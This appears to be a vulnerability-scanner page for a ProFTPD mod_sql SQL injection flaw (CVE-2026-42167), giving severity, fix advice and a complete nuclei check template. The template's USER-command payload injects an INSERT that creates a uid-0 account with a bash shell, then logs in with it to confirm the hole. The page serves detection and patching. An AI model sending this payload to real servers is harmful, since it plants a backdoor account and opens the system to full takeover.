ProFTPD mod_sql - Preauth User Backdoor

highseverity

9.8CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

ProFTPD mod_sql before 1.3.10rc1 contains a remote code execution caused by unsafe username handling with SQL backend commands in USER request logging expansions, letting remote attackers execute arbitrary code, exploit requires SQL backend allowing commands.

Impact

Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Upgrade to version 1.3.10rc1 or later.

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: contains in raw "220 ProFTPD"
Send: tcp probe to {{Hostname}}
Positive when: contains in raw "230" AND not contains in raw "Login incorrect" or "Anonymous login"

Run it with nuclei: nuclei -id CVE-2026-42167 -u <target>

The full check

id: CVE-2026-42167

info:
  name: ProFTPD mod_sql - Preauth User Backdoor
  author: pussycat0x
  severity: high
  description: |
    ProFTPD mod_sql before 1.3.10rc1 contains a remote code execution caused by unsafe username handling with SQL backend commands in USER request logging expansions, letting remote attackers execute arbitrary code, exploit requires SQL backend allowing commands.
  remediation: |
    Upgrade to version 1.3.10rc1 or later.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  reference:
    - https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
    - https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42167
    epss-score: 0.07389
    epss-percentile: 0.94473
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    vendor: proftpd
    product: proftpd
    shodan-query: "220 ProFTPD"
  tags: cve,cve2026,proftpd,ftp,sqli,rce,network,vkev

flow: tcp(1) && tcp(2)

tcp:
  - inputs:
      - data: "USER ', null, null); INSERT INTO users VALUES($${{randstr}}$$, $${{randstr}}$$, 0, 0, $$/$$, $$/bin/bash$$); --'\r\n"
        read: 1024
      - data: "PASS test\r\n"

    host:
      - "{{Hostname}}"
    port: 21,2121
    read-size: 1024

    matchers:
      - type: word
        part: raw
        words:
          - "220 ProFTPD"
        internal: true

  - inputs:
      - data: "USER {{randstr}}\r\n"
        read: 1024
      - data: "PASS {{randstr}}\r\n"
        read: 1024
      - data: "QUIT\r\n"

    host:
      - "{{Hostname}}"
    port: 21,2121
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: word
        part: raw
        words:
          - "230"

      - type: word
        part: raw
        words:
          - "Login incorrect"
          - "Anonymous login"
        condition: or
        negative: true

    extractors:
      - type: regex
        part: raw
        regex:
          - '230.*logged in'

References

Use this check only on systems you are authorised to test. Where the data comes from